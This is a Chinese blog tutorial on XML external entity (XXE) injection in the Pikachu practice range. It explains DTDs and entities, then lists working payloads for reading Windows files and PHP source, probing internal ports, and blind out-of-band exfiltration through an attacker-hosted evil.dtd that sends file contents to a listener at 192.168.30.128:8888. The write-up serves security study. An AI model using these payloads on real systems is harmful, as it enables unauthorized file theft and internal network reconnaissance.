Pikachu--XXE漏洞

于 2024-07-25 20:04:09 发布
阅读量630 收藏 2
点赞数 5
分类专栏： Pikachu靶场通关教程 文章标签： 网络 安全 服务器 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_53736204/article/details/140698822
版权

Pikachu–XXE漏洞

一、XML基础概念

XML文档结构由XML声明，DTD(文档类型定义)，文档元素三部分构成！

#XML是可扩展标记语言(Extensible Markup Language),是设计用来进行数据的传输与存储。
#eg:
<!--XML声明--><!--指明XML文档的版本号与编码，可有可无-->
<?xml version="1.0"encoding="UTF-8"?>
<!--DTD文档类型定义--><!--必须存在根元素，标签名必须成对出现，且区分大小写，可自定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note(to,from,head,body)> <!--定义note元素有四个元素-->
<!--定义to元素为"#PCDATA”类型--><!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)><!--定义from元素为"#PCDATA”类型-->
<!ELEMENT head(#PCDATA)><!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body(#PCDATA)><!--定义body元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

<!--XML注释-->

》》》XML特性《《《

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言，很类似 HTML
  • XML 的设计宗旨是传输数据，而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准
  • XML 是不作为的
  • XML 仅仅是纯文本
  • XML 可以发明自己的标签

1.XML声明

<!--XML声明--><!--指明XML文档的版本号与编码，可有可无-->
<?xml version="1.0"encoding="UTF-8"?>

<!--XML注释语法-->

2.DTD

2.1 内部DTD
内部DTD声明格式:
<!D0CTYPE root-element [element-declarations]>
* root-element文档类型(根元素)
* [element-declarations]其余的元素都包含在[]中

内部DTD指的是直接在XML文档中声明元素，这时需要在XML的头部声明中添加属性 standalone并将该属性的值设置为"yes"。以下为内部DTD案例:

<?xml version="1.0" encoding="utf-8"standalone="yes" ?>
<!DOCTYPE person [
<!ELEMENT person(name,age,address,country,major)>
<!ELEMENT name (#PCDATA)><!--<!ELEMENT 元素标签-->
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ELEMENT country (#PCDATA)>
<!ELEMENT major (#PCDATA)>
]>
<person>
<name>Bob</name>
<age>24</age>
<address>1-1-110</address>
<country>China</country>
<major>History</major>
</person>

其中<!ELEMENT person(name,age,address,country,major)>定义了person根节点下面存在name、age等属性。而<!ELEMENT name (#PCDATA)>则定义了name属性的类型是(#PCDATA)。

2.2 外部DTD

​ 外部DTD元素定义在XML文档之外，可以是合法的.dtd文件，也可以是有效的URL。如果要引用外部DTD，那么在XML的头部声明中，需要设置standalone属性为"no"即:standalone=“no”这一点和 css，javascript 很像!

<!ENTITY element SYSTEM "xxx.dtd |http://...
eg:
<!ENTITY element1 SYSTEM "filename.dtd"><!ENTITY element2 SYSTEM "http://www.exp.com/exp.dtd">
#引用外部DTD的格式
<!NENTITY 实体名称 SYSTEM/PUBLIC“外部DTD的资源地址">

使用案例：

test.dtd

<!ELEMENT to(#PCDATA)><!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from(#PCDATA)><!--定义from元素为"#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body(#PCDATA)><!--定义body元素为"#PCDATA”类型-->

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "test.dtd">
<note>
<to>H</to>
<from>E</from>
<head>L</head>
<body>L0</body>
</note>
2.3 实体

​ 实体是对数据的引用,通常使用 <!ENTITY> 标签定义;根据实体种类的不同，XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用，它主要分为以下四类:

  • 内置实体(Built-in entities)
  • 字符实体(Character entities)
  • 通用实体(General entities)
  • 参数实体(Parameter entities)

实体的定义

#实体定义在 DTD声明中<?xml version="1.0"?><!DOCTYPE SSS [
<!ELEMENT SSS ANY><!ENTITY xxe“hello"> <!--<!ENTITY 实体名称 实体值>-->
#实体的应用在文档元素中
<SSS>
<user>&xxe;</user>
<pass>pass</pass>
</sss>
这里定义元素为 ANY 表示可以接受任何元素作为标签，其中“xxe”就是实体了(相当于一个变量)，可以在XML文档元素中使用 & 符号对实体进行引用。到时候输出的时候 &xxe;就会被 helLo 替换。

实体类型
实体又分为通用实体和参数实体。
1.通用实体
·用 &实体名;引用，在DTD 中定义(内外DTD都行)，在XML文档元素中引用。
2.参数实体
使用 % 实体名:(中间有空格)在DTD中定义(内外DTD都行)，并且只能在DTD中使用 %实体名;引用。
在 DTD 文件中，参数实体的声明可以引用其他实体(参数实体和通用实体)

根据实体位置定义位置的不同分为 内部实体 和 外部实体，

其中:内部实体:在DTD中声明实体，则称为内部实体。外部实体:如果在DTD之外声明实体，则称为外部实体。

内部实体

<!--xml声明--><?xml version="1.0" encoding="utf-8" ?>
<!--文档类型定义-->
<!DOCTYPE note [
<!ELEMENT note(#PCDATA)><!ELEMENT to "XXE"><!ELEMENT from "LEARING''>
<!ELEMENT heading "hello'>
<!ELEMENT body "my_friend">
]>
一个实体由三部分构成:一个和号(&)，一个实体名称，以及一个分号(;)--><I--<note>
<!-- &to;会被解析为"XXE”-->
&to;
&from;
<!-- &from;会被解析为"LEARING”-->
&heading;<!-- &heading;会被解析为"hello”-->
&body;
</note>

外部实体

<!ENTITY name SYSTEM "URI/URL">
* name实体的名称
SYSTEM关键字米
*URI/URL是双引号或单引号中包含的外部源的地址eg :
<!ENTITY writer SYSTEM"<http://vuln.4pts.online/note.dtd>">使用的方式与上述内部实体例子相同，只不过当前是从外部引入，可以是一个URL链接中的文件，也可以是本地的文件(这也就造成了安全的风险)

实例

<!--test.dtd -->
<!DOCTYPE a[
<!ENTITY % name SYSTEM "file:///D:/test.dtd">&name;
]>

<!--1.xml -->
<!ENTITY 名实体名称 SYSTEM“URI'>

补充:

#PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。3可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本，PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记，文本中的标签会被当作标记来处理，而实体会被展开。不过，被解析的字符数据不应当包含任何 &、<或者 >字符;需要使用 &amp;、&lt;以及 &gt;实体来分别替换它们;
L
6
#CDATA
CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待，其中的实体也不会被展开;

3.文档元素

xml属性

XML支持在标签元素中定义属性，写法类似于HTML，eg<name len="3">Bob</name>

转义字符

image-20240725200018944

CDATA区域

XML规定，对CDATA区域内的所有特殊字符不进行解析。<![CDATA[【CDATA区域内容】]]>

二、攻击原理

​ XML外部实体注入(XML Extenrnal Entity Injection)，简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用，导致服务端在解析用户提交的XML信息时未作处理直接进行解析，导致加载恶意的外部文件和代码，造成任意文件读取，命令执行(利用条件苛刻)、内网扫描等危害

三、漏洞复现

使用的Pikachu靶场

image-20240725133127524

1.测试

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "as" > ]> 
<foo>&xxe;</foo>

image-20240725134626744

2.查看文件：c:windows/win.ini里面的内容

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:windows/win.ini"> ]>
<foo>&xxe;</foo>

image-20240725134902200

3.查看源码

利用php://协议的filter过滤器以base64编码读取服务器/本地文件

<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/Users/1/Desktop/phpinfo.php">
]>
<foo>&xxe;</foo>

image-20240725135633740

然后解码（随便找一个在线编码工具解码即可）

image-20240725135733855

4.DTD外部调用

先写一个外部DTD文件

<!--evil.dtd  -->
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini">

通过参数实体去引用evil.dtd,然后调用%xxe;

<?xml version="1.0"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://127.0.0.1:80/sis2406_php/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>

image-20240725143016273

5.探测内网存活主机与开放端口

<?xml version="1.0"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8081">
]>
<x>&rabbit;</x>

访问不存在的端口页面响应缓慢，访问存在的端口页面响应正常

image-20240725144001126

6.无回显探测

#evil.dtd
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.30.128:8888/?
'>">
%start;

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://127.0.0.1/sis2406_php/evil.dtd">    
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/result.txt">    
%remote;    
%send;
]>

在c盘放入result.txt，里面写要传入的参数。

image-20240725152721306

开启端口探测

image-20240725144620874

image-20240725152636505

实例：

在这个网站下水边输入点数据能看见回显点

image-20240725152943535

抓包后去查看文件flag内容,flag在c盘下面，然后再username里写实体内容回显值

image-20240725153642652

黑白时光les
关注
  • 5
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
pikachu-master.zip
06-25
"Pikachu-master.zip"这个压缩包文件，无疑为我们提供了一个宝贵的网络安全学习资源——Pikachu靶场。靶场，是网络安全领域中的一个重要概念，它模拟真实网络环境，让学习者在可控的环境中实践和测试各种安全攻防...
pikachu-master
05-04
将下载的pikachu-master压缩包解压到指定目录，如`/opt`： ``` sudo tar -zxvf pikachu-master.tar.gz -C /opt ``` 进入解压后的目录： ``` cd /opt/pikachu-master ``` 5. 配置Pikachu 使用文本编辑器...
pikachu--XXE漏洞
m0_63944205的博客
07-25 151
这里我们修改端口测试开放,如果一直转圈然后断开则端口不开放。输入上述代码,成功接收到我们的xml命令,测试成功。在输入框输入这里的代码,注意,一个字符都不能错.传入参数:外带file到kali8888端口。这里我们可以看到一个接受xml代码的输入框。这个文件的作用是将file的值传入kali。(1)我们看到username这里有回显,回显是username我们在这里修改。7,学会了吧,我们来实战一下。(3)发送到重放器得到结果。kali监听8888端口。(2)这里我们抓包试试。
pikachu靶场-10 XXE漏洞
weixin_52180702的博客
12-13 566
既"xml外部实体注入漏洞"。概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
Pikachu-XXE
baynk的博客
11-19 4017
0x00 XXE -“xml external entity injection” 既"xml外部实体注入漏洞"。 概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题" 也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从...
pikachu-XXE漏洞
最新发布
ineedmoreMuQ的博客
07-25 161
你只要提交就可以获得被加码的数据然后自行解码即可！以上探测为网站有回显时的语句，那么一个网站若是没有回显我们该如何处理呢？这就需要神奇的base64编码出场了，加码调用解码即可观看秘密文件哦！我们在这一节需要掌握什么是xxe，具体请自行收集材料，博主也不清楚。我们应该首先搞一个服务器然后把文件我们输入的数据指向我们的服务器。众所周知php文件是不在前端显示的，如果我们想看怎么办呢。当你的元素内容是一个file协议，即可在回显处显示内容。但网站如果存在xxe漏洞的话，我们可以如下利用。这是我们要提交的数据。
Pikachu靶场——XXE 漏洞
来日可期的博客
09-29 3755
XXE（XML External Entity）攻击是一种利用XML解析器漏洞的攻击。在这种攻击中，攻击者通过在XML文件中插入恶意实体来触发解析器加载恶意代码或文件，从而执行任意代码、读取本地文件等操作。在XXE攻击中，攻击者通常会构造一个包含恶意实体的XML文件，并将其提交到目标服务器上进行解析。当服务器使用XML解析器解析文件时，会读取实体并展开其定义，从而导致恶意代码被执行或文件被泄露。
Pikachu靶场之XXE漏洞
天天学安全专属博客
03-20 669
Pikachu靶场之XXE漏洞,XXE漏洞绕过
pikachu--xxe
qq_43660551的博客
07-12 205
发现这里采用post方式传输数据，且没对xml参数进行过滤，simplexml_load_string()函数将用户传入的xml直接转换为SimpleXMLElement对象，故这里存在被篡改参数内容，造成xxe的漏洞。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的，从而也就直接避免了这个漏洞。以PHP为例，在PHP里面解析xml用的是libxml，其在≥2.9.0的版本中，默认是禁止解析xml外部实体内容的。写一个正经的xml。
pikachu-XXE
Cwillchris的博客
11-01 2662
实验环境： DVWA靶机：172.16.12.10 windos攻击机：172.16.12.7 kali攻击机：172.16.12.30 实验步骤： 尝试PHP协议，构造代码如下 <?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "xxe"> ]> <name>&hacker;</name> 输入，显示如下，能正常执行命令 ...
Pikachu靶场通关笔记--XXE
weixin_45908624的博客
12-27 610
xxe
pikachu-master靶场
07-14
"pikachu-master靶场" 是一个专门为网络安全学习和实践设计的平台，它通常包含了一系列的挑战，旨在帮助用户提升其在黑客攻防、漏洞挖掘、安全防护等领域的技能。这个压缩包文件“pikachu-master”很可能包含了该...
【Socket 编程】基于UDP协议建立多人聊天室
稻草人敲代码的博客
07-19 479
对于服务端来说，除了要接收消息之外，还要实现一个路由转发模块，该路由转发模块可以将相应发送给所有连接的客户端。而对于客户端来说，除了要发送消息给聊天室，还要能实时看到其它所有客户端的消息。下面来看看具体实现的代码，代码只给出核心模块，其余代码模块代码可以借鉴我之前的博客。具体来说，服务器类实现的功能只有收消息。
MarkTool之TCP服务端
Qt学视觉
07-24 194
MarkTool之TCP服务端
docker build时的网络问题
flynetcn的专栏
07-19 444
docker build网络问题
【ROS2】演示:为有损网络使用服务质量设置
cxyhjl的博客
07-22 781
目录背景先决条件运行演示命令行选项添加网络流量背景请阅读有关 QoS 设置的文档页面，以获取有关 ROS 2 中可用支持的背景信息。在这个演示中，我们将生成一个发布相机图像的节点和另一个订阅图像并在屏幕上显示图像的节点。然后，我们将模拟它们之间的丢包网络连接，并展示不同的服务质量设置如何处理不良链接。先决条件本教程假设您已安装并运行 ROS 2 和 OpenCV。有关安装说明，请...
安徽京准：NTP网络时间服务器的几种应用场景
NTP授时服务器
07-19 234
安徽京准：NTP网络时间服务器的几种应用场景
网络编程套接字socket
安权_code的博客
07-23 645
网络编程中的套接字（socket）是实现网络通信的关键，换句话来说，套接字像两个端点，而发送方与接收方就是通过这两个端点进行通信的，socket的意思是插座，表示插头和插座连接上后，即发送方和接收方连接上了，然后把电流通过插座流向插头对标发送方与接收方建立了链接。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值